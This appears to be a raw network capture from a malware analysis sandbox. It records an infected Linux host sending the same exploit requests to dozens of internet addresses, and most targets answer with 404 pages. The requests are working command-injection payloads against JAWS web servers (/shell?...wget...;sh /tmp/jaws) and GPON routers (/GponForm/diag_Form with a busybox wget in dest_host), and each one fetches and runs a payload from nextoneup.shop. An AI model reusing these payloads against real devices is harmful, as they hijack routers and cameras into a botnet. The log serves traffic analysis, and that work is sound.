Apr 14, 2024 04:00:47.368282080 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.768282890 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.376262903 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:03.336258888 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:22.024221897 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1281	192.168.2.13	38324	75.101.148.175	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.618669033 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1282	192.168.2.13	47190	38.238.70.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.790529966 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.112185001 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:45 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1283	192.168.2.13	55640	62.31.96.100	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.811295986 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.142036915 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:45 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 67 68 74 20 68 61 76 65 20 62 65 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for might have be
Apr 14, 2024 04:00:46.142071009 CEST	117	IN	Data Raw: 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a 20 3c 2f 66 69 65 6c 64 73 65 74 Data Ascii: en removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1284	192.168.2.13	35950	191.61.185.208	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.823659897 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.856302977 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:48.904299021 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1285	192.168.2.13	33748	118.98.239.73	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.918046951 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1286	192.168.2.13	37916	52.36.0.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.330678940 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.526434898 CEST	314	IN	HTTP/1.1 404 Not Found Server: openresty Date: Sun, 14 Apr 2024 02:00:46 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1287	192.168.2.13	36124	35.169.168.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.386368036 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1288	192.168.2.13	41054	96.11.0.254	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.396147013 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.636023045 CEST	123	IN	HTTP/1.0 404 Not Found Content-Type: text/html Data Raw: 3c 62 6f 64 79 3e 3c 68 31 3e 4d 61 72 63 68 20 4e 65 74 77 6f 72 6b 73 20 57 61 74 63 68 64 6f 67 20 48 54 54 50 2f 31 2e 30 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 0d 0a Data Ascii: <body><h1>March Networks Watchdog HTTP/1.0 404 Not Found</h1></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1289	192.168.2.13	57734	50.236.225.130	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.399486065 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1290	192.168.2.13	52094	208.87.99.128	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.467660904 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.782610893 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1291	192.168.2.13	59400	20.29.183.40	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.577069044 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.777225018 CEST	238	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Sun, 14 Apr 2024 02:00:46 GMT Content-Type: application/octet-stream Content-Length: 19 Connection: keep-alive X-INVALIDATE-CACHE: 1 Data Raw: 73 65 72 76 69 63 65 20 75 6e 61 76 61 69 6c 61 62 6c 65 Data Ascii: service unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port
1292	192.168.2.13	59338	23.231.136.43	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.618837118 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1293	192.168.2.13	45378	37.26.135.15	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.999838114 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1294	192.168.2.13	51550	79.107.58.158	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.999855042 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1295	192.168.2.13	41446	5.62.37.49	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.999881029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1296	192.168.2.13	50810	45.76.43.88	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.619411945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.934245110 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sun, 14 Apr 2024 02:00:47 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1297	192.168.2.13	51960	116.6.105.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.631406069 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1298	192.168.2.13	39820	116.106.105.209	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.652606964 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:48.001633883 CEST	202	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1:443shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Length: 0 Date: Sun, 14 Apr 2024 02:00:46 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
1299	192.168.2.13	59204	34.160.87.105	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.181873083 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1300	192.168.2.13	47000	209.95.33.158	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:49.209172010 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.468275070 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:49.666367054 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:47 GMT Server: Apache Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 35 37 39 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 